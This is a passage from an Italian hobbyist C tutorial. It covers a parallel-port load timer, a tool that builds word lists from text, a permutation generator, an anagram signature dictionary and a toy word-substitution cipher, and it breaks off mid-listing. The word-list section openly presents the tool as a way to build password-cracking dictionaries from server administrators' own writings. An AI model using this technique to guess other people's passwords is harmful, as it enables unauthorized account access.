   fscanf(f,"%s",s);if(strstr(s,tolo("-fine-"))){printf("\nFinito.\n");exit(0);}
   n1=atoi(s);
   fscanf(f,"%s",s);n2=atoi(s);
   fscanf(f,"%s",s);n3=atoi(s);
   fscanf(f,"%s",s);n4=atoi(s);
   fscanf(f,"%s",s);T=atol(s);
   p=time(NULL);
   outp(0x378,(n1+2*n2+4*n3+8*n4));
   printf("Metto la porta a %d%d%d%d =%2d  -> Timer %4ld secondi\n",n1,n2,n3,n4,n1+2*n2+4*n3+8*n4,T);
   while(time(NULL)<p+T){}
   }

}

char *tolo(char *a){
int i=0;
char *c=(char *)malloc(strlen(a)+2);
while((c[i]=tolower(a[i]))!=0)i++;
return(c);
}

int vedi(char *prog)
{
 struct ffblk ffblk;
 int ok;
 ok = findfirst(prog,&ffblk,0);
 if(ok>=0)return 1;
 else return -1;
}

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


 uno script di esempio 

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
script.scp
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
 Questo e' un semplice esempio di script
 ci puoi scrivere dentro quello che ti pare basta come testo che
 tra tra i due terminatori di inizio e di fine ci siano
 esclusivamente i dati relativi allo stato delle porte e il timer
 i dati sono formati da cinque numeri: i primi quattro sono lo
 stato dei "carichi" 1=acceso e 0=spento. Il quinto numero identifica
 per quanti secondi dovra' restare attivo quel particolare stato
 nello script sotto ad esempi .. alla partenza e' tutto spento per
 il primo secondo, quindi si accende il carico 2, dopo 2 secondi si
 accende anche il carico 3 assieme al 2, dopo un secondo il carico tre si spegne e
 dopo altro tre secondi si spegne anche il carico 2 accendendosi il 4 che
 resta acceso per 10 secondi dopo di che il carico uno lampeggia per due volte
 alla frequenza di un secondo ed e' tutto finito. ;-)
 
 c1 c2 c3 c4  Timer
 ------------------

 -inizio-

 0  0  0  0   1
 0  1  0  0   2
 0  1  1  0   1
 0  1  0  0   3
 0  0  0  1   10
 1  0  0  0   1
 0  0  0  0   1
 1  0  0  0   1
 0  0  0  0   0

 -fine-

 ------------------

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


  .. trasformando il programma automac.c considerando tutti e 8 i carichi utili su i pin -data-
 lo script dovrebbe essere pero' scritto cosi'


:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
script.scp
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
 
 c1 c2 c3 c4 c5 c6 c7 c8  Timer
 ------------------------------

 -inizio-

 0  0  0  0  0  0  0  0   1
 0  0  0  0  0  1  0  0   2
 0  0  0  0  0  1  1  0   1
 0  0  0  0  0  1  0  0   3
 0  0  0  0  0  0  0  1   10
 0  0  0  0  1  0  0  0   1
 0  0  0  0  0  0  0  0   1
 0  0  0  0  1  0  0  0   1
 0  0  0  0  0  0  0  0   0

 -fine-

 ------------------------------
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::



 sintassi  

   AUTOMAC file_script



 Se a qualcuno interessa trovate nel file archivio.ace citato all'inizio anche un controllore
 di carichi in VB che sfrutta una dll scritta in C per leggere e scrivere singoli byte su una
 porta prefissata. VBIO.DLL 





XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

                                          . - .


//---------------------------------------------------------------------------------------------------
18. Creare un dizionario da un file di testo
//---------------------------------------------------------------------------------------------------

 (ps: . cosa strana. 
  E' un programma semplice ma sovente mette chi programma in serie difficolta'.. 
  chissa' perche!?)  
 
Spesso e' necessario avere a disposizione per i motivi piu' svariati (cracking delle password,
 bruteforce, ecc..) un buon dizionario di vocaboli da -provare-.
 Se ne trovano molti in rete ma farsene uno da soli ha sempre un certo fascino.
 Si consideri anche l'utilita' in certi casi:
 
1. spesso gli amministratori di server proteggono le loro macchine con password 
    non proprio di fantasia:
    per essere sicuri di ricordarsele usano sempre le stesse parole o frasi caratteristiche
    magari modificate di poco,
 
 2. gli stessi mettono su i loro server manulistica e specifiche dei servizi offerti scritti di 
    loro pugno e lasciati a pubblica disposizione (spesso per invogliare ad accedere alle risorse
    a pagamento)

 3. ognuno di noi anche se la cosa puo' a prima vista non sembrare cosi' usa per scrivere 
    un vocabolario di parole relativamente limitato a quello conosciuto.

 da queste tre occorrenze e' facile capire l'utilita' di un dizionario stilato sulla base delle
 parole -usate- dagli amministratori al fine di scoprire eventuali passwords da loro ideate.
 

 Come si fa? .. la ricetta e'presto fatta:

 Serve un file in formato testo lungo a piacere.

 Tramite la comodissima funzione fscanf che immette in una stringa sequenzialmente tutte le parole
 contenute in un testo e separate da spazi.. si crea un file secondario con tutte le parole trovate
 in lista non ordinata.

 Grazie al Sort del dos e' ora possibile ordinare la lista disordinata.

 Resta ancora il problema piu' gravoso eliminare tutti i doppioni che sicuramente saranno 
 la maggioranza.

 Per questo e' sufficiente scorrere tutta la lista immettendo la pima parola in una variabile di 
 controllo (chiamiamola A0 ) stampandola  e confrontarla con la seconda. 
 Se la seconda e' uguale alla prima si passa a valutare la terza e cosi' via.
 Quando la n'sima Parola e' diversa da A0 la si stampa e si mette quest'ultima in A0 continuando 
 fina alla fine della lista ordinata.

  in pratica cosi':

  P(n) == Parola alla locazione n
                     
                            ...
                             |
                             |
                        +----------+
                        |   n=0    |
                        +----------+
                             |
                             |<-------------------------+
                             |                          |
                        +----------+                    |
                        | A0=P(n)  |                    | 
                        +----------+                    | 
                             |                          |
                             +<----------------+        |
                             |                 |        |
                            / \                |        |
                           /? s\___________+---------+  |
                           \   /           |  n=n+1  |  |
                            \n/ P(n+1)=A0  +---------+  |
                             |                          |
                             |                          |
                            / \                         |
                           /? n\________________________+
                           \   /
                            \s/ Fine lista
                             |
                             |
                            Fine



 -Stampando- tutte le parole diverse trovate in un terzo file avremo la lista ordinata e senza
 doppioni.. ovvero il file dizionario relativo al testo iniziale.

 
 Il programma:

 
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
TXT2DIZ.C
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <conio.h>

char *tolo(char *a);
char *mid(char *str,int pos,int nc);
int instr(char *st1,char *st2,int pos);
char *cambia(char *str, char *da, char *a);

// tutto2  file_input file_output [ lista_char ] [ opzione -[m|M] ]
// es lista_char ancbfhtg123  .. a-z012345   a-z0-9 A-Za-z0-9

main(int nf,char **file)
{
FILE *in,*out;
unsigned char s[200],s1[200];
unsigned char ca[200];

int n,n1,x,y,tro,min=1;
long cc,dd;

// -------------- controllo parametri------------------------------------------------------------
if(nf<2||nf>5)
 {
  textcolor(YELLOW);
  textbackground(BLUE);
  cprintf("\r\n+-----------------------------------------------------------------------------+\r\n");
  cprintf("| TXT2DIZ   file_input.txt  File_output.txt  [lista_caratteri]   [ -[m|M ]    |\r\n");
  cprintf("+---------+---------------+----------------+-------------------+--------------+\r\n");
  cprintf("|         | File di testo | Nome del file  | lista caratteri   | converte le  |\r\n");
  cprintf("| (c)2k   | da elaborare. | dizionario da  | gli unici citati  | lettere da   |\r\n");
  cprintf("| Master  |               | creare.        | saranno ritenuti  | maiuscole in |\r\n");
  cprintf("|   |     +---------------+----------------+ validi.           | minuscole.   |\r\n");
  cprintf("|   |        _______________________       | es: abcsjkej123&' | -m = ON      |\r\n");
  cprintf("|    \\_____ / www.spippolatori.com  \\_\\_   |     a-z0-9        | -M = OFF     |\r\n");
  cprintf("|           \\_______________________/ /    |     A-Za-z0-9'    | default = ON |\r\n");
  cprintf("|                                          |     a-z'@         |              |\r\n");
  cprintf("+-------------------------+----------------+-------------------+--------------+\r\n");
  cprintf(" ES:  TXT2DIZ testo.txt dizion.txt (senza parametri = 'a-z0-9 -m)              \r\n");
  cprintf("      TXT2DIZ testo.txt dizion.txt A-Za-z0-9'@_- -M                            \r\n");
  cprintf("      TXT2DIZ testo.txt dizion.txt aeioucdefgh1238'=)(=?A-Z -M                 \r\n");
  cprintf("      TXT2DIZ testo.txt dizion.txt abcdef02468                                 \r\n");
  cprintf("                                                                               \r\n");
  textcolor(LIGHTGRAY);
  textbackground(BLACK);
  cprintf("                                                                               \r\n");
  exit(0);
 }

if(nf==3)
 {
  min=1;
  file[3]="'a-z0-9";
 }

if(nf==5)
 {
  if(strstr(file[4],"-m"))min=1;
  else min=0;
 }
// ----------------------------------------------------------------------------------------------

// -------------- trasformazione degli acronimi -------------------------------------------------
strcpy(ca,file[3]);
strcpy(ca,cambia(ca,"a-z","abcdefghijklmnopqrstuvwxyz"));
strcpy(ca,cambia(ca,"A-Z","ABCDEFGHIJKLMNOPQRSTUVWXYZ"));
strcpy(ca,cambia(ca,"0-9","0123456789"));
// ----------------------------------------------------------------------------------------------

// -------------- passo 1 -----------------------------------------------------------------------
in=fopen(file[1],"rb");
out=fopen("passa","wb");
printf("\npasso 01 : individuazione delle parole e composti \n");
x=wherex();y=wherey();cc=0;

while(!feof(in))
 {
 fscanf(in,"%s",s);
 gotoxy(x,y);
 cprintf("Parole : %ld",cc++);

 for(n=0;n<strlen(s);n++)
  {
    if(min==1)s[n]=tolower(s[n]);
    tro=0;
    for(n1=0;n1<strlen(ca);n1++)
      if(s[n]==ca[n1]){tro=1;break;};
    if(tro==0)s[n]=32;
  }
 fprintf(out,"%s ",s);
 }
 fclose(in);fclose(out);
// ----------------------------------------------------------------------------------------------


// -------------- passo 2 -----------------------------------------------------------------------
printf("\npasso 02 : creazione della lista sequenziale disordinata\n");
x=wherex();y=wherey();cc=0;

in=fopen("passa","rb");
out=fopen("passa2","wb");
while(!feof(in))
 {
 fscanf(in,"%s",s);
 gotoxy(x,y);
 cprintf("Parole : %ld",cc++);

 fprintf(out,"%s\r\n",s);
 }
fclose(in);fclose(out);
remove("passa");
// ----------------------------------------------------------------------------------------------


// -------------- passo 3 -----------------------------------------------------------------------
printf("\npasso 03 : ordinamento della lista\n");

system("sort passa2 > passa3");
remove("passa2");
// ----------------------------------------------------------------------------------------------


// -------------- passo 4 -----------------------------------------------------------------------
printf("passo 04 : elimininazione dei doppioni\n");

in=fopen("passa3","rb");
out=fopen(file[2],"wb");
strcpy(s1,"*");
x=wherex();y=wherey();cc=0;dd=0;
while(!feof(in))
 {
 su:
 fscanf(in,"%s",s);
 gotoxy(x,y);
 cprintf("Parole esaminate %ld, scartate %ld, estratte %ld",cc++,cc-dd,dd);
 if(strstr(s,s1)&&(strlen(s)==strlen(s1))&&!feof(in))goto su;

 fprintf(out,"%s\r\n",s);dd++;
 strcpy(s1,s);
 }
fclose(in);fclose(out);

remove("passa3");

printf("\nFinito!");

}
// ----------------------------------------------------------------------------------------------


// -------------- converte una stringa in caratteri minuscoli -----------------------------------
char *tolo(char *a){
int i=0;
char *c=(char *)malloc(strlen(a)+2);
while((c[i]=tolower(a[i]))!=0)i++;
return(c);
}
// ----------------------------------------------------------------------------------------------


// -------------- funzioni mid/instr/cambia -----------------------------------------------------
char *mid(char *str,int pos,int nc)
{
 char s[0xff];
 int n,k=0;
 for(n=pos;n<=pos+nc-1;n++)
   s[k++]=str[n];
 s[k]=0;
 return(s);
}

char *cambia(char *str, char *da, char *a)
{
 char s[0xff];
 int pos=instr(str,da,0),k;
 if(pos<0)return(str);
 strcpy(s,mid(str,0,instr(str,da,0)));
 strcat(s,a);
 k=instr(str,da,0)+strlen(da);
 strcat(s,mid(str,k,strlen(str)-k));
 return(s);
}

int instr(char *st1,char *st2,int pos)
{
 int tro,n,m;
 for(n=pos;n<=strlen(st1)-strlen(st2);n++){
  tro=1;
  for(m=n;m<=n+strlen(st2)-1;m++)
    if(st1[m]!=st2[m-n])tro=0;
    if(tro==1)return(n);}
 return(-1);
}
// ----------------------------------------------------------------------------------------------

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

 
 Compilando TXT2DIZ e chiamando l'eseguibile senza parametri si avra' la corretta sintassi
 e l'help.




XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

                                          . - .


//---------------------------------------------------------------------------------------------------
19. Permutazioni
//---------------------------------------------------------------------------------------------------

  Un piccolo tool veramente minimo per ottere tutte le permutazioni di una parola.


:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
PERM.C
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#include <stdio.h>
#include <string.h>

void fai(char *a,int i,int l){
 int t;char *q;
 if(i<l){
   if(NULL==(q=malloc(l+1)))
     exit(100);
   strcpy(q, a);
   for(t=i;t<l;++t){
    int p;
    if((t==i)||(q[t]!=q[i])){
      p=q[t];q[t]=q[i];q[i]=p;
      fai(q,i+1,l);}}
      free(q);}
 else puts(a);}

int main(int nf,char **argv){
  fai(argv[1],0,strlen(argv[1]));}
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

 
 con PERM parola > Output.txt

 si otterra' un file Output.txt contenente tutte le permutazioni della -parola- indicata.

 Attenzione! .. con parolo piu' lunghe di 10/11 caratteri tutti diversi si ottiene un numero 
 elevatissimo di permutazioni creando file enormi che potrebbero danneggiare il vostro hd..
 tenete conto che il programma in C crea questi file in pochissimi secondi.
 
 
 es:

N.Caratteri   Parola         Dimensioni del file d'uscita
     7        abcdefg        45k
     8        abcdefgh       400k
     9        abcdefghi      4M
    10        abcdefghij     40M
    11        abcdefghijk    400M   ecc...

 il numero di permutazioni trovate per parole con carateri tutti diversi e'

     n. caratteri della parola = C
     N. permutazioni trovate   = C! (ovviamente ;-) )

 Il programma pero' scarta le permutazioni simili quindi con parole anche piu' lunghe di
 10 caratteri ma con caratteri uguali al proprio interno si ottengono un numero di permutazioni
 ridotto.

 Es.
N.Caratteri   Parola         Dimensioni del file d'uscita
    9         deleterie      2M (invece di 4M)
   10         contestata     25M (invece di 40M)

 ecc..  ma in generale il discorso sull'attenzione vale lo stesso.
 

 
 es. Di file d'uscita

  PERM roma > ok.txt

-------------------------ok.txt
roma
roam
rmoa
rmao
raom
ramo
orma
oram
omra
omar
oarm
oamr
mroa
mrao
mora
moar
maro
maor
arom
armo
aorm
aomr
amro
amor
-------------------------
 
 

 visto che originariamente me lo avevano chiesto in visual basic ;-)

------------------------------------------
Permutazioni in basic
------------------------------------------
Dim buf As String
Private Sub fai(a, i, l)
DoEvents
If (i < l) Then
 q = a
 For t = i To l - 1
 z = Mid$(q, i + 1, 1)
 If (t = i Or Mid$(a, t + 1, 1) <> z) Then
  p = Mid$(q, t + 1, 1)
  Mid$(q, t + 1, 1) = z
  Mid$(q, i + 1, 1) = p
  fai q, i + 1, l
 End If
 Next
Else
 buf = buf + a + vbCrLf
End If
End Sub

Private Sub Command1_Click()
fai Text1, 0, Len(Text1)
Text2 = buf
End Sub

------------------------------------------

 un form.. una casella di testo text1 per inserire la parola da permutare
 una casella di testo text2 per vedere il risultato.
 Stesso algoritmo, stessa procedura convertita.


XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

                                          . - .


//---------------------------------------------------------------------------------------------------
20. Parole composte
//---------------------------------------------------------------------------------------------------

 
 Il problema nasce dal -come trovare- rapidamente le parole composte da un certo insieme di caratteri.
 Quelli non piu' giovincelli si ricorderanno sicuramente il programma "paroliamo" nel quale due 
 concorrenti si sfidavano a trovare la parola piu' lunga di senso comune dato un insieme di 10 lettere
 scelte a caso tra vocali e consonanti.

 All'epoca mi posi subito il problema di come poter fare un programma al computer che trovasse tutte
 le parole -composte- da un determinato gruppo di lettere scegliendole da un dizionario.

 La prima prova si fa sempre nel modo sbagliato... si cercano le permutazioni dell'insieme di 
 lettere e si guarda nel dizionario se ognuna di queste permutazioni e' una parola di senso compiuto.
 
 E' un lavoro folle!.. :))  Come avete potuto notare appena sopra (al programma permutazioni) le  
 permutazioni di una parola di 10 lettere producono un file di parole (solo testo) che puo' arrivare
 tranquillamente a 40 Mb .. ovvero a 10! parole.

 mettendo quindi un dizionario di 20.000 parole dovremmo controllare 3.628.800 parole x 20.000 parole
 diverse.
 Sarebbero necessari 7.25 * 10^10 passaggi divversi di programma.
 Mettendo di avere un computer MOLTO veloce i grado di eseguirne 100000 (centomila) al secondo
 impiegheremmo cmq piu' di 8 giorni per fare questa verifica.

 ..eh si!..ma il computer che usavano a paroliamo era un semplice 8088 e il calcolo lo faceva quasi
 immediatamente.. oh allora?
 he he .. ma c'e' un trucco!

 Ogni parola ha una una sua -firma caratteristica- rappresentata dall'ordinamento delle lettere che 
 la compongono.

 aaacceiirrsttt -> caratteristica
 aaaccirtt      -> raccattai
 aaaccirtt      -> tracciata

 ecc..

 come vedete "raccattai" e "tracciata" hanno la stessa firma. Cio' significa che sono due parole composte
 dalle stesse lettere.

 Il computer del programma paroliamo aveva quindi un dizionario di firme!
 Ovvero un dizionario con una serie di firme ordinate con a fianco la lista delle parole che e' possibile
 comporre con quella determinata firma.
 Agli autori bastava cercare la firma corrispettiva con i caratteri ordinati presi a caso dai concorrenti 
 per trovare sul dizionario delle firme tutte le parole di senso compiuto costruibili con la stessa.

 Un dizionario di firme e' un dizionario che si presenta cosi'..

----------------------------------------
aaaaaglmmt  amalgamata
aaaaaglmmv  amalgamava
aaaabbeitv  abbaiavate
aaaabbgilt  abbagliata
aaaabbgilv  abbagliava
aaaabbimov  abbaiavamo
aaaabbinov  abbaiavano
aaaabbirrt  arrabbiata
aaaabbirrv  arrabbiava
aaaabbit  abbaiata
aaaabbiv  abbaiava
aaaabbnstz  abbastanza
aaaabbsst  abbassata
aaaabbssv  abbassava
aaaabcimst  ambasciata
aaaabeflnt  analfabeta
aaaabllrtt  traballata
aaaabllrtv  traballava
aaaabrttt  barattata
aaaabrttv  barattava
aaaacccist  accasciata
aaaacccisv  accasciava
aaaaccestv  accasavate
aaaaccffit  affacciata
aaaaccffiv  affacciava
aaaaccillt  allacciata
aaaaccillv  allacciava
aaaacclmt  acclamata
aaaacclmv  acclamava
aaaacclort  accalorata
aaaacclorv  accalorava
aaaacclstv  scavalcata
aaaacclsvv  scavalcava
aaaaccmosv  accasavamo
aaaaccmpt  accampata
aaaaccmpv  accampava
aaaaccnosv  accasavano
aaaaccrttt  raccattata
aaaaccrttv  raccattava
aaaaccst  accasata
aaaaccsv  accasava
aaaaccttt  attaccata
aaaaccttv  attaccava
aaaaceirrtttzz  caratterizzata
aaaacemmtv  ammacavate
aaaacffitt  affaticata
aaaacffitv  affaticava
aaaacffnrt  affrancata
aaaacffnrv  affrancava
aaaacfrsst  fracassata
aaaacfrssv  fracassava
aaaacggint  agganciata
aaaacgginv  agganciava
aaaaclnpst  spalancata
aaaaclnpsv  spalancava
aaaacmmmov  ammacavamo
aaaacmmnov  ammacavano
aaaacmmt  ammacata
aaaacmmv  ammacava
aaaacnnqtu  annacquata
aaaacnnquv  annacquava
aaaacnnrtt  tracannata

 ...

----------------------------------------

 
 come e' possibile costruirlo?

 Semplicissimo. Dopo essersi creati un dizionario di parole da dei testi presi a caso col programma
 presentato sopra lo passeremo al seguente programma ..

-------------------------- paroliamo.c
#include <stdio.h>
#include <string.h>


main(int nf,char **f){
 FILE *v1;
 int p,c,n;
 char s1[40],s2[40],pa;

 v1=fopen(f[1],"rb");

 while(!feof(v1)){
    fscanf(v1,"%s",s1);
     strcpy(s2,s1);
     p=strlen(s1);
     c=1;
     while(c==1){
     c=0;
     for(n=0;n<p-1;n++)
       if(s1[n]>s1[n+1]){
	pa=s1[n];
	s1[n]=s1[n+1];
	s1[n+1]=pa;
	c=1;}}
     printf("%s %s\n",s1,s2);}
 fclose(v1);}
-------------------------- 


 es PAROLIAM  testo.txt > parol.txt

 

 .. e' possibile processare anche file di testo piccoli per ottenere le firme caratteristiche.


 facciamo l'esempio di voler ottenere il dizionario delle firme dal semplice testo:

 ---------------------file FRASE.TXT
 tanto va la gatta al lardo che ci lascia lo zampino
 ---------------------


 useremo il programma TXT2DIZ per ottenere il dizionario delle parole di testo compiuto:

 
 txt2diz FRASE.TXT DIZ.TXT a-z

 
 otterremo il seguente file DIZ.TXT

 ---------------------DIZ.TXT
 al
 che
 ci
 gatta
 la
 lardo
 lascia
 lo
 tanto
 va
 zampino
 ---------------------
  
 passando questo file al programma PAROLIAMO troveremo ils eguente dizionario FIRME.TXT

      PAROLIAMO DIZ.TXT > FIRME.TXT


 ---------------------FIRME.TXT
 al al
 ceh che
 ci ci
 aagtt gatta
 al la
 adlor lardo
 aacils lascia
 lo lo
 anott tanto
 av va
 aimnopz zampino
 ---------------------


   ordinato con SORT FIRME.TXT > FIRME2.TXT

   otterremo il file finale

 ---------------------FIRME2.TXT
 aacils lascia
 aagtt gatta
 adlor lardo
 aimnopz zampino
 al al
 al la
 anott tanto
 av va
 ceh che
 ci ci
 lo lo
 ---------------------


    Il procedimento per la costruzione di dizionari di firme anche molto complessi
 e' esattamente lo stesso. 


 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

                                          . - .


//---------------------------------------------------------------------------------------------------
21. Cifrature / riduzioni di testo da vocabolari bilanciati
//---------------------------------------------------------------------------------------------------


  E' un'idea bislacca che mi e' venuta in relazione ad una richiesta che mi era stata fatta
  sul ng alt.hackers diverso tempo fa da un -esploratore delle parole-. ;-)

  .. cifrare un testo mescolando le parole in esso contenute (o convertendole sulla
 base di un secondo dizionario) per poi tornare tramite un algoritmo di decodifica al
 testo originale.

 Il tutto potendo scegliere una chiave di cifratura comune da non doversi trasferire assieme
 al testo cifrato che dovrebbe contenere solo ed esclusivamente le parole originali o un
 insieme uguale di parole di senso compiuto tutte diverse,


 Es:    essere o non essere 

 potrebbe venire cosi' :  " scatola tuorlo albino scatola "

 permettendo pero' tramite qualche procedura di risalire alla frase originale!.


 L'idea originale era questa.. se ogni parola potesse essere rappresentata con uno o due byte massimo
 si potrebbe operare una precompressione su un file di testo fino a portarlo a dimensioni
 veramente minimi.

 In effetti la cosa e' possibile.. basta avere un dizionario di parole ben strutturato, numerare
 le parole da 1 a N e sostituire poi le parole con il loro indice all'interno del dizionario stesso.

 Es: se avessimo un dizionario fromato da queste parole:

 -------------------------
 1 il
 2 gionro
 3 notte
 4 mattino
 5 oro
 6 l'oro
 7 davanti
 8 massimizzare
 9 ha
 A in
 B tasca
 C bocca
 ecc..
--------------------------

 potremmo convertire la frase "Il mattino ha l'oro in bocca" con l'equivalende indicizzato

 il = 01
 mattino = 04
 ha = 09
 l'oro = 06
 in = 0A
 bocca = 0C

      ==  010409060A0C       6 Byte al posto di 28 .. un livello di compressione del 78%


 Ovviamente per la ricostruzione del testo servirebbero delle librerie run_time .. he he
 nel nostro caso il dizionario necessario alla compressione.

 Si consideri che 1 byte e' sufficiente a comprimere 256 parole, 2 byte 65536 e 3 byte ben
 16.777.216 parole.
 E' facile vedere come con 2 byte (65536 parole diverse!) sia possibile dichiarare un dizionario  
 tale da poter esprimere in forma compressa qualunque concetto se si escludono i tipi prolissi
 come me. ;-)

 
   Tutto chiaro fin qui ?  .. ok. Andiamo avanti.

  Una volta ottenuta la stringa compressa di valori esadecimali (o decimali .. non ha importanza!)
  da questa e' possibile avere in uscita un testo adattato ad un secondo vocabolario strutturato
  esattamente sulla base del primo ma con le parole ordinate in diversa maniera.


  Facciamo ancora un esempio pratico:

  Abbiamo il vocabolario   VOCAB1

  -------------------------
 1 il
 2 gionro
 3 notte
 4 mattino
 5 oro
 6 l'oro
 7 davanti
 8 massimizzare
 9 ha
 A in
 B tasca
 C bocca
 ecc..
--------------------------
 
 ne creiamo una versione VOCAB2 ordinata in diversa maniera .. (a caso .. poi vedremo come 
 farlo seguendo una chiave o una regola logica.)

  -------------------------
 1 tasca
 2 bocca
 3 ha
 4 notte
 5 mattino
 6 oro
 7 l'oro
 8 davanti
 9 gionro
 A massimizzare
 B il
 C in
 ecc..
--------------------------

 

  Abbiamo la frase da cifrare : "Il mattino ha l'oro in bocca"

 Procederemo cosi':

 Da VOCAB1 ricaviamo la stringa compressa    010409060A0C

 sostituendo ai valori numerici il corrispettivo letterale da VOCAB2 otteniamo

  "tasca notte giorno oro massimizzare in"
 
 
 .. la cosa funziona. Ma cosa c'e' di sbagliato ? .. 
 Avendo a disposizione VOCAB1 e VOCAB2 e' possibile da una frase risalire all'altra facendo
 il procedimento inverso.
 Il vocabolario di partenza potrebbe essere in comune tra due utenti che intendono scambiarsi 
 messaggi cifrati, ma la chiave?

 Io ho optato per questa soluzione,

 Il SORT del dos offre nelle ultime versioni l'opportunita di ordinare unalista inbase alla 
 colonna N del file di testo considerato.
 
 es SORT /+3 pippo > pippo2   

 ordina il file pippo in base alla colonna 3.  (3 sarebbe la chiave)

 AVendo a disposizione un vocabolario comune VOCAB1 si potrebbe fare una copia di questo
 chiamandola VOCAB2 e ordinare il primo secondo con chiave A e il secondo con chiave B.
 
 A questo punto avremmo una chiave di decodifica AB che potremmo rendere nota ai nostri interlocutori
 per permettergli la successiva decodifica dei nostri messaggi cosi' bislaccamente cifrati. ;-)


 Vediamo i programmi necessari ad ottenere tutto questo.

    TRO <vocabolario>  <testo>  > <output>

 TRO  trova le corrispondenze d'indice di un file di <testo> da cifrare con un determinato file
 <vocabolario> e le mette nel file <output>

    DEC <vocabolario> <testo> > <output>

 DEC dato un file di corrispondenze d'indice <testo> le associa alle parole presenti in un determinato
 <vocabolario> e le mette nel file <output>


    CODIFICA  <testo> <output>

  esegue automaticamente la codifica del file di <testo> trvando le corrispondenze su un vocabolario
  chiamato VOCAB1.TXT e le associa con un altro vocabolario chiamato VOCAB2.TXT .. scrive il
  risultato nel file <output>


   DECODIFICA  <testo> <output>

  l'inverso di codifica ovviamente. ;-)


   CHIAVE <A> <B>

  ordina i vocabolari chiamati VOCAB1.TXT e VOCAB2.TXT secondo le chiavi di ordinamento a colonna
  <A> e <B>


 I programmi:

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
 TRO.C
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#include <stdio.h>
#include <conio.h>

unsigned int hs(char *cptr){
 unsigned int i, j = 0;
 while (cptr && *cptr && isxdigit(*cptr))
   {
    i=*cptr++-'0';
    if(9<i)i-=7;
    j<<=4;
    j|=(i&0x0f);
   }
 return(j);
}


main(int nf,char **f)
{
FILE *vocab,*testo;
long c=0;
char s[30],s1[30];
vocab=fopen(f[1],"rb");
testo=fopen(f[2],"rb");

while(!feof(testo))
 {
 fscanf(testo,"%s",s);
 rewind(vocab);c=0;
 while(!feof(vocab))
  {
   fscanf(vocab,"%s",s1);c++;
   if((strlen(s)==strlen(s1))&&strstr(s,s1))
     {
      printf(" %ld",c);
      goto ancora;
     }
  }
 printf(" (%s)",s);
 ancora:

 }
 fclose(vocab);
 fclose(testo);
}

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::



:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
 DEC.C
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>

unsigned int hs(char *cptr){
 unsigned int i, j = 0;
 while (cptr && *cptr && isxdigit(*cptr))
   {
    i=*cptr++-'0';
